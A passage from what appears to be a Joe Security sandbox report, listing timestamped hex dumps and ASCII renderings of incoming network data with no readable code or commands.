2022-09-20 10:10:08 UTC 2255 IN Data Raw: d4 f1 ae 46 56 b9 ac 68 79 41 90 ee 79 da 3a 91 7a f6 db e3 ea 91 48 77 4a a3 ab 9c 99 49 1f c9 cd e7 2e e3 
e7 78 6d 07 1b c6 08 48 d8 20 ff 19 8a 73 1d c6 a1 d4 95 33 f7 45 ab ea 05 3e df de 68 b2 b6 ef 71 b4 d1 09 4b 43 16 35 
1a b6 cb 78 63 ca 9e 9a e3 86 b2 8e 7b 68 89 a7 5c d3 06 21 88 94 de a1 b1 3a e8 b7 fa 58 c5 c8 01 fa 56 e4 0e 6b eb 5d 
67 f4 63 d4 44 e2 e7 42 fe 09 58 df d9 1d b7 14 91 ac 88 49 f6 7c 03 92 11 b4 66 68 6c 94 2a 22 af a6 b1 29 2a ae dd a8 
65 e4 a9 39 00 1e ca 17 99 ba d6 f2 20 21 bf 1a ab ca 7c 92 22 ee 3c 0c c6 63 cc 86 fe c0 8f ac 18 4e 2b a5 2e 46 57 8a 
bf dc d1 d2 2c 5b e2 96 81 ca 41 b5 17 38 4a a4 d2 0e ac 5d e9 44 63 1b b8 81 d6 69 1c 99 c5 db dd 18 c1 6d 28 7d 36 
52 82 aa 1a 10 01 9d f1 7b 09 69 56 b1 31 a3 54 3c 56 f9 82 
Data Ascii: FVhyAy:zHwJI.xmH s3E>hqKC5xc{h\!:XVk]gcDBXI|fhl*")*e9 !|"<cN+.FW,[A8J]Dcim(}6R{iV1T<V

2022-09-20 10:10:08 UTC 2262 IN Data Raw: d4 06 fa f9 1d 74 9e 4f 6d 02 fc 40 80 9a 2e d4 15 32 15 e8 97 0a d4 65 6a 87 d3 66 4b b8 66 84 8e b9 4b a7 
cf 58 13 66 3a 4e a5 76 17 13 92 79 42 67 6d b6 65 ec c8 b5 5f 17 2a 2d 4b 19 e9 00 6e 38 af e9 06 b6 e8 99 69 8a 74 e7 
7e 70 69 4b bc ce 5d 61 94 1b 47 41 38 5f 2e cf 2b e1 cd a3 98 71 f7 09 65 fe 5f 62 4b 9e 91 88 35 a2 66 02 1d c9 93 0c 
19 50 4b 95 71 79 dd 74 e1 da 5a b7 38 70 61 18 3f 68 08 34 d8 fe bb d1 bf 57 ed c2 52 6d 54 3e cb 0c 32 c7 09 a9 31 10 
e8 bd 70 e3 0e e9 4f 7a d6 42 45 2e 1b 3c 0d 15 6d b4 ad e9 c5 a2 12 77 34 43 20 95 c1 b7 51 72 ed 78 a0 ae 3c ae b4 
d4 da 58 83 62 a9 c6 01 3d 14 19 07 00 3c 82 16 7e 8a 91 78 a1 65 0b 5b 3a 40 72 e5 f0 d4 82 04 e4 01 f1 84 87 96 26 
91 66 77 f7 59 d6 c2 ca 29 3b 68 2a 27 99 64 86 c2 96 bf 11 3c 
Data Ascii: tOm@.2ejfKfKXf:NvyBgme_*-Kn8it~piK]aGA8_.+qe_bK5fPKqytZ8pa?h4WRmT>21pOzBE.<mw4C Qrx<Xb=<
~xe[:@r&fwY);h*'d<

2022-09-20 10:10:08 UTC 2270 IN Data Raw: a4 64 59 ab 3a 43 74 33 ab e1 3e 5e 79 1c a5 b4 87 e1 cb ea 0e 02 4b 01 84 bc dc 75 f4 2c 2b 8d c8 5f b5 ba 
6b b2 4a 7c e7 aa 61 a5 0c f8 02 73 ec 11 13 6b 31 07 aa 79 78 86 01 77 5e a3 09 d1 ec af 7d b7 65 a9 d8 99 d2 d7 6d 
32 97 0f 0e 51 0d 69 81 7a 94 48 31 e1 ff 26 4d 30 49 93 fb 6e db ea af cb b4 a9 c9 9f eb ca 52 36 26 ac 47 da 02 3d d0 
93 8b 61 78 26 54 32 e8 14 ac f3 d2 46 04 12 89 9f f6 11 f5 64 83 66 00 50 55 05 b5 f6 58 9f bf 4b 95 f1 7f 0b b4 f7 63 ea 
6f f7 b0 20 53 fe 95 bc c4 e2 ff 75 bd ab 73 68 44 18 f7 6b 04 46 de 6c 65 b2 22 4e 25 8e ba 7c 3a 6f 80 99 b4 e7 f9 97 68 
40 a9 96 fc 6b cf 08 75 e4 da 6f af 71 4f 31 62 31 18 bf b9 a0 cc 9e a7 a2 27 2a b8 6b c0 93 f5 1f 41 25 a7 4d 9f b4 12 5c 
27 38 5d 80 88 a3 b8 b2 c3 d2 fb 1d ba 7b ac 51 0b 
Data Ascii: dY:Ct3>^yKu,+_kJ|ask1yxw^}em2QizH1&M0InR6&G=ax&T2FdfPUXKco SushDkFle"N%|:oh@kuoqO1b1'*kA
%M\'8]{Q

Timestamp
kBytes
transferred
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2022-09-20 10:10:08 UTC 2278 IN Data Raw: f2 25 20 8b 53 a6 c2 31 71 aa fa a2 1c a1 b3 a2 d7 22 5a 72 61 5c 30 75 cc 82 b0 d0 07 8c 95 11 57 a4 e2 42 
f3 3d 87 56 45 38 d6 1b 2b 26 11 99 ce cc 2e 96 1b a1 06 a1 a9 65 e1 1f 53 b6 1e 5c 44 40 a2 f2 03 e7 39 24 59 5f dd 30 
f0 78 9f 34 f1 d3 5d 9a dd f9 02 16 4b fa 8d ab 2f 96 db 67 f6 1e 7a f8 d8 e6 71 dc 1a bf 44 d2 bd b3 6d 47 69 e0 14 ef e5 
5e 0a e9 1a 8b 3f 67 1e 1c 37 86 25 02 52 3f f5 de e0 be 1d 61 44 3d d2 e9 26 3d 4b a4 b1 b9 62 c5 70 fb 1d af e6 19 97 
0f 6e 6d 4e df 5f c9 b2 b0 b9 4b 72 c7 60 5d f8 7d 3b d8 74 29 f2 56 25 d9 d9 12 3a 50 01 54 d3 0e 4c bd c9 f5 66 c4 4b 
a2 68 31 b1 9d 47 d8 28 ce 6b e4 5f 78 75 22 7d 44 08 71 fb d8 a0 6e d1 bd 64 4e 00 99 f7 85 ad 31 de 5c 4c 7c c3 89 49 
9f ea 22 86 a0 48 48 cf 47 fb 68 04 4c 05 62 57 60 9b 
Data Ascii: % S1q"Zra\0uWB=VE8+&.eS\D@9$Y_0x4]K/gzqDmGi^?g7%R?aD=&=KbpnmN_Kr`]};t)V%:PTLfKh1G(k_xu"}
DqndN1\L|I"HHGhLbW`

2022-09-20 10:10:08 UTC 2286 IN Data Raw: c4 37 55 e6 4f 78 7e b0 59 42 ca ba 4a b2 50 bd 16 68 99 42 b4 8b 60 3d 54 41 17 11 39 42 5d 41 ec c2 53 82 
7c 32 c9 d1 34 49 d8 4f 29 21 eb 97 98 4c eb 21 ce 50 d6 53 d9 f1 6e 26 fa e4 71 34 d8 38 ac 39 4f 02 36 93 f2 08 88 dc 
24 dd 1f f5 e9 7f 83 a0 a4 6b c5 ef 8e 82 f9 92 bc 82 3f ce 86 a6 34 f8 16 a7 db 97 ca 54 43 d8 fc 31 de 73 d0 79 1a ac 61 
15 bd 38 64 3b c6 b5 95 eb 2e 68 e4 1d 6b 18 ab 88 b0 96 51 8c be 41 63 d6 9a 21 60 e8 26 37 b3 10 76 46 31 90 b0 9f 
17 ab 0f 93 cc 12 78 ee 17 1c d8 c7 76 0a 5a b4 8b b1 67 11 de 48 14 8a 2a c7 71 46 94 15 29 44 9e 35 03 10 f7 51 8a 
aa 9c 4a 9a 44 d5 c7 37 9d b4 ad 41 d0 da d2 1a f9 93 ee 28 32 65 0b 9c 12 e3 ad 9f 82 eb 3f 03 e7 6a 58 83 3f be 9f 27 
d3 d6 e2 45 bf 90 e2 12 61 0b 57 d7 06 72 39 2c 3e 65 b2 f4 
Data Ascii: 7UOx~YBJPhB`=TA9B]AS|24IO)!L!PSn&q489O6$k?4TC1sya8d;.hkQAc!`&7vF1xvZgH*qF)D5QJD7A(2e?jX?
'EaWr9,>e

2022-09-20 10:10:08 UTC 2294 IN Data Raw: 40 8f e8 0f f9 a1 89 64 44 45 74 c5 a2 73 33 08 a2 59 b0 eb 7b 7b a7 28 4c 13 6a 04 15 14 d0 3e 5e ec e1 3f 
e5 93 06 6b 60 50 1c 90 c0 5c ea 7e 58 f1 ed ba 43 0b 84 f7 a4 bd 4c ed 88 5b ae a2 0a f6 06 fd 43 63 fe 8a 03 21 8b 27 
c6 ef a3 a9 3a c1 8b 65 62 25 85 aa 2f ff 22 96 b7 5c 82 de 21 4e 0d 8d d9 7f 97 79 95 6c e6 fd b1 7c 84 c8 73 bc 50 2f 87 
03 56 cf ea 7f ed 17 7d f7 61 6b 6f 5b d3 e4 83 bd 8b d3 8e 51 57 3d cc e4 09 b9 73 1f b4 47 5e f2 10 3e f4 9c 86 02 df 3e 
75 1c 9b b5 0f 31 c6 bb 00 b4 8a 1a e5 0d 9c 3e 93 61 5a 61 86 12 64 aa fd a2 6e 8f cc cd 60 a1 ad 6d dc a2 7b 5a e0 ee 
27 5d c5 fe 1f 7b 9f 33 f1 ee 2a 58 39 56 14 4f 2f 11 26 6b 56 7c 75 b7 c3 a7 f6 54 d8 a7 bb 73 b5 a5 83 1e 65 7e a7 85 
74 a4 04 0e 26 01 88 bc 8b 98 0c 9b 74 22 44 16 16 
Data Ascii: @dDEts3Y{{(Lj>^?k`P\~XCL[Cc!':eb%/"\!Nyl|sP/V}ako[QW=sG^>>u1>aZadn`m{Z']{3*X9VO/&kV|uTse~t&t"D

2022-09-20 10:10:08 UTC 2301 IN Data Raw: ae 64 3c 47 89 af ce 59 35 75 8b 50 ee bf be d1 f4 2f 11 a3 fe ce fd 15 0d 32 17 00 fb ad 02 70 5c eb 59 fb 87 
e5 ed 0e de 97 e7 75 b6 dc e9 b0 08 26 0e 11 d4 4f c4 92 71 7c 63 ef c0 14 64 e1 0f 7e e6 cb 5b 4c d4 16 8b 7b 8b 2f 2a 
77 ef d3 df 56 c0 5a 94 72 d5 36 12 fa 25 d7 77 52 dd ea 11 2f 6b 16 6e e3 a2 84 ba 55 c2 b0 e2 3b 53 b6 a4 c6 a5 3f 1b 
b3 38 c0 2f 1a 80 e0 a4 60 49 8c e3 23 5f 59 fd 2a 0f e8 4c af d7 36 c7 25 21 ad 41 54 27 95 15 42 bc b3 77 4e 97 f4 3c 
54 cc 19 63 62 67 97 5a d0 59 fb ce cd e1 3c b6 c9 49 c4 ff de f9 89 87 9c df 4e 8c 9d e5 bd 0d 0c 6e 93 fd ea 90 f2 80 7e 
00 9a 06 02 87 ae ca f4 46 bb b5 52 ee 18 b0 f1 61 cb e1 65 9c 0b fb e6 3b eb 3a 1a 22 41 0b 99 a4 8e 01 5e 7c 4e 1a aa 
ab d3 8b 99 7f ba 6b ec e7 3a d6 55 46 20 1b 10 39 
Data Ascii: d<GY5uP/2p\Yu&Oq|cd~[L{/*wVZr6%wR/knU;S?8/`I#_Y*L6%!AT'BwN<TcbgZY<INn~FRae;:"A^|Nk:UF 9

2022-09-20 10:10:08 UTC 2309 IN Data Raw: c2 da da f1 14 56 66 68 70 36 38 7b b8 22 9f c4 eb 5d 76 97 c5 a3 b9 06 86 4f 20 ab 7d ce 7d 78 59 c5 1f 73 
81 f6 6d b4 cc 10 c5 4d e3 81 af bc 37 42 28 5f 51 1e aa c7 81 20 c3 89 35 f1 74 3a e8 04 24 ef 8b 70 e1 74 df 87 d5 3c 
32 32 7d 03 d7 da 6d 8b 25 8d 11 a3 c2 27 dc a3 fc df 70 a4 41 ad da ce 12 45 14 a1 96 16 d8 54 89 9e 78 7f 23 12 d1 15 
08 7f bd f0 9a f1 5b 07 d5 bc ab ab 15 ae da f1 26 12 4e d6 6c 35 c1 6e 27 4d a8 71 51 1e ae a8 35 26 06 18 03 d8 ae 9e 
8b 07 30 10 fb 47 05 02 cc 0a bd 57 43 15 0a 7a b5 30 0b a6 3c a8 c9 f5 68 e1 fb d1 e0 e7 44 6c b4 44 b6 d1 2b 30 5e 17 
89 40 cc 10 8f 97 8a f3 f4 52 55 c4 8e 46 e5 24 0b 2a 5d 84 c1 4e a8 5a 53 a8 ce c6 3f a2 aa 3a 8f 51 ed 4c a6 34 6a 8c 
18 9b 36 49 40 34 a3 e4 d8 3c 8a fc 41 c9 35 fe 6e 3e 29 
Data Ascii: Vfhp68{"]vO }}xYsmM7B(_Q 5t:$pt<22}m%'pAETx#[&Nl5n'MqQ5&0GWCz0<hDlD+0^@RUF$*]NZS?:QL4j6I
@4<A5n>)

2022-09-20 10:10:08 UTC 2317 IN Data Raw: 2e 4f 3b 38 83 f5 fc e9 cc 45 ea 5b 88 21 ba 53 c5 f6 d4 63 c5 37 1d a1 42 2e 9c 9a 50 2c fe db f6 31 36 5f 9d 
ed 63 42 20 dd 27 e5 34 3c 0f 06 8b 8f 32 b6 47 ce 07 cb 27 c1 b7 fe b2 69 81 79 20 d7 47 bb ab 61 5f 09 99 df 9f de 59 
33 75 d1 cc fe 92 79 1f 2d 59 88 ef 4b 80 0c 38 a3 b1 ef ae 53 84 2f bd d3 0c cf d5 f7 b7 6f a7 22 1f f1 56 76 0c 78 52 a3 
c0 d0 2f bc df 29 0d a8 54 0d 2b 65 1b 7f eb 21 22 af 10 c1 d6 30 a8 2f b1 25 bf dc ee e9 35 40 69 a0 a0 27 85 2e 18 c1 
36 24 c5 96 9a 85 3f bb fd f5 02 a2 a1 92 3c 16 48 9f c5 00 7c 7b af 31 ba 68 0e 58 88 f4 10 b9 a6 e0 46 2a b8 8d c7 8e 
ad 7c ec d2 74 92 fe 1b d0 73 79 0b 4e cc 2d 5c e7 80 2d 21 1c 97 fc 2a c9 9c 07 10 64 8b f7 f5 1c 54 b6 6c 73 1c 50 d3 
1a 2a 63 cb ba d3 95 e2 a6 c3 ca 45 fd 5e 1b bb 6b 
Data Ascii: .O;8E[!Sc7B.P,16_cB '4<2G'iy Ga_Y3uy-YK8S/o"VvxR/)T+e!"0/%5@i'.6$?<H|{1hXF*|tsyN-\-!*dTlsP*cE^k

2022-09-20 10:10:08 UTC 2325 IN Data Raw: 7b 38 07 9e b4 a5 48 36 f5 5e ac a8 97 4e 37 c2 ee 12 88 28 d0 7d d1 ae c0 c7 84 69 25 79 9a 8a 16 49 50 72 
69 1a 02 c9 fe d5 2c 40 c6 c8 8b 7d e3 ab 89 e3 78 f1 e9 bd 3c bd 02 96 fe 0c 5c c4 9e 89 3a 4b e9 cd 41 1c 59 71 52 b0 
c9 36 f1 80 ab 5e bc f1 20 99 c0 ab 0c 59 43 c2 cd 09 a6 30 91 fa 12 23 be 18 24 a6 bf 55 4c e8 22 ff 01 bd de 2c 72 3c 
0a 36 d5 7e ed 6a e3 63 14 60 a3 0a 6f 04 90 64 c1 d1 78 54 ae 19 74 e2 ea ec 86 22 c7 db f6 48 0e 75 43 04 f7 62 e6 a9 
46 65 cc a5 a4 1a b2 94 7b 7a 8c 9a 80 62 32 17 80 c3 c6 54 0e 4e e3 46 74 a8 ae cd d0 c1 19 84 61 b4 1d 18 4d 80 f1 
70 40 be a2 a3 38 cc 21 1c 2f 72 85 72 0a a1 0d a3 dc a2 f4 64 84 3c 43 6d fb 45 11 f9 40 dc 25 85 80 41 84 a7 06 2e 79 
bf 0c a7 8f 17 ea a2 c4 6f d8 c6 9e ab dc 45 6f aa da e9 e6 
Data Ascii: {8H6^N7(}i%yIPri,@}x<\:KAYqR6^ YC0#$UL",r<6~jc`odxTt"HuCbFe{zb2TNFtaMp@8!/rrd<CmE@%A.yoEo

2022-09-20 10:10:08 UTC 2333 IN Data Raw: 80 b9 bf fa 15 7e d1 c3 b2 80 99 bd b9 30 8d b5 43 6b 7a 31 af 45 f7 dd 21 8f 54 b1 f6 2d 7d 96 63 4a 93 98 37 
7f 48 02 4b 0f 71 e4 70 ce 66 6a 36 de 58 84 69 d6 bd 1a 9a 8b c5 da 97 c5 e1 4e ec 9b 7a 65 e0 a5 dd 39 3c 9f fd 45 17 
4c 2f b4 b1 b1 42 e8 88 75 9f b4 c1 df 44 f9 4f 9a f7 3d 35 c5 32 be 43 d0 0d 71 4e 21 bf 31 99 73 5a 84 45 2e 00 8b 42 
2b 14 86 51 cb a0 98 a9 68 8d db 58 3d 73 9d f9 2d 86 76 62 cb 93 29 48 92 38 fb eb 1d da c3 10 1f 32 68 ee cb b7 8a cb 
cb e0 37 31 e8 ad 7b 4a 29 2c 10 9e df 86 eb 13 0c ab a4 30 36 f0 e0 ac 14 41 a4 f4 f8 44 95 e8 8f 28 c2 35 0a 44 61 c7 
60 c5 3b c4 1d 67 fd ac 0b 2e 49 62 ea 17 3c f5 4b be ba ba 42 02 0d 13 f1 15 ff 2e 47 46 d1 27 64 b7 35 28 31 b5 de 1e 
f9 26 6c 04 3c 0e 06 9d 4d c7 1c 97 67 2c 6d 36 0d 4c 
Data Ascii: ~0Ckz1E!T-}cJ7HKqpfj6XiNze9<EL/BuDO=52CqN!1sZE.B+QhX=s-vb)H82h71{J),06AD(5Da`;g.Ib<KB.GF
'd5(1&l<Mg,m6L

2022-09-20 10:10:08 UTC 2341 IN Data Raw: be c8 00 f5 bf 79 e7 8e f2 db 59 0d 46 ab 43 d0 e4 a0 eb 29 6a 8b c1 99 a6 cc 8e e5 de 67 df 49 09 62 8d 4b 
a1 1c 3b 01 e2 95 65 10 a5 91 d0 48 35 96 cf e4 51 d2 7f 93 49 ab 1a ba 08 33 54 34 d7 00 c9 a0 07 03 c7 8a 65 a2 84 
60 cd aa a2 46 8c 67 d9 c1 e7 58 c5 1d c0 b3 c6 b2 2a fb 70 04 a2 25 7f 75 3c d5 8e 9c 33 a2 dc 20 4c 26 5b be d9 00 5d 
a2 bd 42 bd 0d d6 52 79 b5 67 f6 27 62 c8 64 05 c5 0f ae e1 78 39 d1 b5 28 e9 d4 2a aa d4 c4 3e 43 27 83 fa db 46 73 20 
cd 2c ba 33 b4 77 10 32 3d 8e 56 88 81 e1 4c 8b 46 60 cb b7 67 d7 7b c2 47 7d d8 2d 4c 09 9f 07 8e 34 45 f4 50 69 fd 35 
0a 09 9e ac 49 5f df 72 84 97 93 30 2c c6 20 6f b5 18 03 b6 30 23 c8 cd a1 43 bd bb 6f de b3 cb 1c dd 41 71 fa 37 a7 a9 
57 5a f7 ee cd b1 c1 b6 78 1c e3 de 5c 02 c8 ce b7 8e 72 ce 
Data Ascii: yYFC)jgIbK;eH5QI3T4e`FgX*p%u<3 L&[]BRyg'bdx9(*>C'Fs ,3w2=VLF`g{G}-L4EPi5I_r0, o0#CoAq7WZx\r

Timestamp
kBytes
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Copyright Joe Security LLC 2022 Page 86 of 173



2022-09-20 10:10:08 UTC 2348 IN Data Raw: e9 4d 3f c9 58 19 f9 99 4d f9 6b 1b d3 f9 dd 52 d1 3c 64 46 fd 4f 2e 63 39 d8 e4 eb fc 07 f1 a5 ff 84 a8 92 fe bc 
c5 36 91 2b ec 2c ad f0 ac c5 b0 ad 8a 0d 6a d9 29 7a b0 87 0c af da 75 84 25 be ee 0d fd 4c f5 2d 46 e9 17 b9 9d 3d 4b 
8f 3a e9 49 b6 32 99 27 e2 4d ff 2f 2e d5 69 52 56 20 0a bf 62 14 34 fb bf 95 e8 fe b1 9f 43 30 02 03 9e a8 e2 68 64 dd 37 
fc b9 0f 85 8c 36 45 db 7c 8b 97 50 c3 75 a1 cf f4 c2 46 d8 a1 8c ab 8d 3a de e7 9e d2 1e 2d 8b e4 31 e3 12 3f 9f 0b 2c 
95 75 8d f1 24 b9 df 1e 64 35 45 2a c2 f9 96 5d 10 64 32 ae e9 f8 71 d4 2d 6b c6 de 08 1e 5d 51 f1 e7 fd 3c 22 43 59 82 
83 13 75 36 ef 81 e4 cf a8 b8 30 16 44 ae 55 06 dd b9 60 3f 75 c6 d1 73 a9 ea c9 64 2b 8a de 44 4b 3d c3 31 12 84 9a e3 
da 24 82 99 00 6d 8e b8 26 82 a6 c2 37 6c 2a 1d 
Data Ascii: M?XMkR<dFO.c96+,j)zu%L-F=K:I2'M/.iRV b4C0hd76E|PuF:-1?,u$d5E*]d2q-k]Q<"CYu60DU`?usd+DK=1
$m&7l*

2022-09-20 10:10:08 UTC 2356 IN Data Raw: f1 d4 5e 8d 49 27 c9 a6 19 f3 26 ca 5d dd 18 e6 3d fe 6e ab 57 4f 80 d3 06 31 2b 6d 9a e7 72 a5 42 d7 6f e3 
9a 8e 87 2a 36 09 5f be aa 77 79 5f da 7c d5 6f 8a 33 6d 9f 9e 15 b6 15 39 d7 b6 2a 49 b5 ef 89 db 8c 24 f3 f7 17 ee ed 6c
f2 68 9c 95 32 ce dd c8 31 72 48 36 f8 88 d7 b2 f9 93 a7 c4 ad ca 08 bb 72 4f 6b 4a 4e fc c9 15 b7 3d 32 9f 9c c8 6e 7a 
1b a6 f5 f4 c5 b4 f5 a7 df 34 ed 3b 94 68 d5 9c fc 99 b5 3c 68 b6 e4 52 ca ad fd 0b bf 78 92 17 6f 2c 35 5a 13 fb c3 a6 22 
7c ef b5 fd c2 d6 6a 9e 3f 27 e7 7f 56 9e f6 98 ac 16 5a 98 b1 d0 ee 9e d0 a9 e8 63 07 62 85 77 59 54 fa 0c cb d8 d4 44 
97 ba 3d 6f b9 d3 f6 a3 73 92 c7 43 97 a6 0d 07 b2 2e 0e 95 f4 4e be 1d d8 2e 5a 2b 7c b0 77 8d b9 ff de f2 6b 03 ca ee 
5f cc de ac 79 25 6f 10 33 e7 87 65 ea a9 38 f1 d6 
Data Ascii: ^I'&]=nWO1+mrBo*6_wy_|o3m9*I$lh21rH6rOkJN=2nz4;h<hRxo,5Z"|j?'VZcbwYTD=osC.N.Z+|wk_y%o3e8

2022-09-20 10:10:08 UTC 2364 IN Data Raw: c0 e2 80 23 9f 9b 09 21 59 2a 91 93 2c ee 8f df 6c 32 72 37 ac 77 d3 e8 c0 e7 c2 0b 4e 5e 3f fc 9f ee d4 39 ea 
a8 b8 b8 e7 aa e3 ca 62 b3 4e bb 73 9f ca 07 7b bf 4d 98 6d 7e f4 f7 f0 af c3 d9 c9 f6 3f 8f 5a 5d 3d 65 30 67 30 f2 f4 ba 
e4 a7 7a 33 35 99 1f de 88 c6 86 0d c4 27 2d 9d bd 59 22 82 5c f8 ea 85 9b 8d ff 4d 7a f7 c6 57 e3 17 9e b3 7a f2 59 2b 
c9 70 c2 d5 e4 a0 8c f8 ce f5 4f 4d 32 9c 5d 14 a6 4e 99 73 da 93 f5 39 72 d2 97 ef d3 74 5d b4 f2 25 16 6f 91 56 4f a2 e6 
35 78 78 7d 99 ef 3a 75 1b 33 df a8 2e c5 68 5c 57 b8 e1 d9 a5 e3 8c 25 8f c6 1d dd 31 77 34 36 f6 50 bf d5 ca ce 7d 3b 
bb 47 53 dc bd 0e 4d 3a 7f 63 c2 02 e9 7c af a5 55 4a 57 cd 07 6c d7 06 af f3 76 9d 51 ba f3 60 44 cd 8d 99 9f 73 0b 48 
ee 3e 23 0c 49 3f 81 f6 27 ca d1 11 a7 a6 79 2d 
Data Ascii: #!Y*,l2r7wN^?9bNs{Mm~?Z]=e0g0z35'-Y"\MzWzY+pOM2]Ns9rt]%oVO5xx}:u3.h\W%1w46P};GSM:c|UJWlv
Q`DsH>#I?'y-

2022-09-20 10:10:08 UTC 2372 IN Data Raw: 57 a1 f7 cc 1f 4b dd 9a 0a c9 57 7e 58 0b fc ba 49 eb 96 54 bf 9d ec f7 a9 4c 33 7a c9 d9 05 4b 4e 79 df d2 74 
f8 6d ed eb 26 2b 3f a8 21 c4 b0 1b 99 d9 da d9 39 79 cd c1 f6 99 df 5a c4 a2 85 16 2b 3a 2e dd bf 28 6d 46 d4 6d df 75 
3b 1a d7 1d 2f f8 32 fb d1 e7 ad d7 97 d9 3b cd d5 0c 5e b1 f6 e3 55 7f 27 bf ba 8e 39 aa c3 8b 5f 3e 4b d6 d8 54 18 33 
b7 38 5e 97 d5 e6 c3 3e ef 93 12 fb 76 d2 a7 24 8b 69 e9 93 be a7 cf db f8 f5 24 39 6a ee 95 3b 1b 1b 27 48 dc d9 97 dc 
d7 fc c0 d6 90 52 70 28 f6 d0 60 52 5f ed 9e b9 67 f7 dc b4 fb 1e 5c f6 3c ff eb ee a9 4e 77 47 9d 46 36 3c 2f 9f 38 cb db 
90 2e 2f 9a 1a ef e9 d7 3a cb 62 f1 f4 90 b7 53 5e 19 e8 9e 4b 74 28 6b 20 55 2d f2 b3 49 71 fc 74 be ef 49 75 73 7a 94 
80 bf 12 a5 3e ad 58 ea 6a 68 b9 b4 e9 9e 61 f6 38 
Data Ascii: WKW~XITL3zKNytm&+?!9yZ+:.(mFmu;/2;^U'9_>KT38^>v$i$9j;'HRp(`R_g\<NwGF6</8./:bS^Kt(k U-Iqt
Iusz>Xjha8

2022-09-20 10:10:08 UTC 2380 IN Data Raw: 7e 8c f5 18 70 09 fd 59 3e 6b 38 0d f2 2b 42 8e 7a 0d 5b a5 99 e6 24 71 73 51 fa 4f a2 58 1e a0 aa af 42 ac 82 
e9 40 e9 ab 82 df a8 e0 1b f8 90 a1 7f 1f e1 e2 64 a4 81 5e ec f8 11 be f9 85 de 94 de 41 c5 a7 e3 62 1a 36 1d 62 5a 39 
f4 17 54 57 f7 7c 8e 9c a3 b0 86 e0 56 5c ce 33 d3 ff ef 94 73 48 38 3e 6c 56 da ff bd 32 9e 08 a7 73 07 05 aa a6 03 18 
0a 7c 02 19 9f 79 84 cb b8 ef 0f 19 03 e1 4a 60 c2 a5 60 c2 a5 62 12 97 a1 ff 1c 11 cb 43 fa c9 a8 ec 7b 27 56 49 66 64 
41 41 3f 06 ff ad 62 7c 81 4b a0 a5 31 a2 03 55 0f 5a 8a 16 46 d2 5c 21 28 66 31 dc 98 96 12 e0 8e 07 ef 8e 0d d3 92 02 
ee ac e7 dd 71 64 5a ca 80 3b 7e bc 3b 9e 4c 4b 79 70 67 13 ef 8e 37 d3 52 11 dc d9 ca bb e3 32 36 3c 8a d8 47 05 e4 
28 00 98 1d 38 0c b8 dc 85 5f 16 44 d2 f6 c2 4b f2 21 79 
Data Ascii: ~pY>k8+Bz[$qsQOXB@d^Ab6bZ9TW|V\3sH8>lV2s|yJ``bC{'VIfdAA?b|K1UZF\!(f1qdZ;~;LKypg7R26<G(8_
DK!y

2022-09-20 10:10:08 UTC 2387 IN Data Raw: 8d d5 77 60 f1 61 02 12 ac 1c e7 34 17 bb ab 30 0e 56 58 05 d7 b3 dd b1 3e 2e ed 64 fc e9 ed b7 f1 7f c0 a3 
bb 5d 62 38 fc 5c 44 0d a4 c2 85 19 7d 1a 4b 38 ad 64 62 95 ff 9e 50 21 1c d1 84 31 2c f8 c3 d8 df 58 bc eb c2 5c 46 c0 
c0 28 bc 20 1a 03 8b 3f 8d cb a3 6c 18 e1 47 39 85 25 70 91 7b 22 e9 c1 af db 25 38 4b 04 8c 2e 31 46 8a a7 87 71 a1 
43 42 c0 20 26 a2 fc bd f0 41 38 bd e2 39 bd bc 86 79 53 85 81 bb 80 31 39 fa 04 97 d2 12 38 59 63 17 e5 1c 8c 17 47 3c 
3c 86 6c e1 97 d8 fb 4d c8 9c 7d 3c 2f bf e6 06 eb 81 38 65 a2 f0 c8 fe 33 01 ab f8 fe 2d 82 1d d7 e7 8a 61 91 7a f0 e4 76 
95 31 f9 26 1b 94 91 08 d2 81 76 0c 3f 35 f7 11 45 33 f1 59 ab 13 f6 ec 13 ed e5 d6 63 0d 0a 63 09 29 ac 34 1e c6 a7 70 
25 3b 32 40 38 c1 3d 4d e7 c4 a9 7c a1 44 3a 52 53 ae 6b 
Data Ascii: w`a40VX>.d]b8\D}K8dbP!1,X\F( ?lG9%p{"%8K.1FqCB &A89yS198YcG<<lM}</8e3-azv1&v?5E3Ycc)4p%;
2@8=M|D:RSk

2022-09-20 10:10:08 UTC 2395 IN Data Raw: 0e e0 5a c5 38 35 5f 3c fd 40 e5 67 33 5b 69 1b 32 8b cf ae cc a0 3b da de 53 44 3c 8a 8b 22 6a 8c a5 01 36 
25 68 00 ff 32 60 fb cf 75 fd 47 e5 28 0a 64 31 ae ce e5 9e 0b e2 79 b4 7c 57 70 d0 45 8a 7e 54 80 b7 fb 56 b3 67 77 3e 
1e 01 ee c1 e8 78 04 f9 7f d5 ee 67 c9 47 43 19 a8 1f 33 60 40 6c 56 8c a6 5a e4 a6 fb 45 8b 6d d1 2e c6 09 37 2d f1 e7 
7e 5c 05 6c 0f 12 41 f8 82 8e 2b 74 14 c8 c1 17 45 bb 06 a4 52 a3 75 b9 28 4e d2 41 c1 8f 60 3c 44 53 c4 36 51 91 a5 e2 
cf 24 a8 f8 93 4b 49 02 8f ff d5 80 b1 8c 90 7b f3 74 c4 f5 16 c4 cf de c0 88 f3 e2 46 a1 31 d9 2c f5 3b c3 6d bd 00 67 74 
3f 50 cd 9a cf 01 dc d5 b8 29 3b 55 d9 21 10 52 18 0d 0d 70 14 a8 89 e6 63 96 2f a8 98 a8 db 0b 16 3c 1b 05 9e 8f 24 3c 
6f f8 a8 6e 0b b0 70 73 3f 03 7e 00 39 2c 3a 08 dd 6f 
Data Ascii: Z85_<@g3[i2;SD<"j6%h2`uG(d1y|WpE~TVgw>xgGC3`@lVZEm.7-~\lA+tERu(NA`<DS6Q$KI{tF1,;mgt?P);U
!Rpc/<$<onps?~9,:o

2022-09-20 10:10:08 UTC 2403 IN Data Raw: 1b a8 7c 08 56 ee 3e 2e 4e 0a 19 50 19 e4 95 f0 b0 c5 bf 53 7a 3d 3a 38 80 00 f6 23 e5 e0 f2 c4 b4 dd 78 9d 
25 4d 55 04 77 28 64 90 5f b8 50 c0 41 98 82 4b a6 12 e8 56 96 60 ca 48 f8 43 70 13 19 a9 66 d8 8c 94 b2 a2 35 e1 b3 
cc 5f be 1a 96 6d d7 81 23 b3 5e 7c 2c cc 27 f8 00 77 c8 7d 53 85 17 c9 24 8a 2e 33 fa 5b 2a 1c 89 af 59 8a c3 23 8b c5 
f3 a7 f5 f9 63 70 5f 75 a7 11 96 92 23 ba 2c 86 cc 9d bf db 27 e7 68 1d 43 9e e5 ad 49 a1 59 84 8b b1 71 2d a2 dc 50 13 
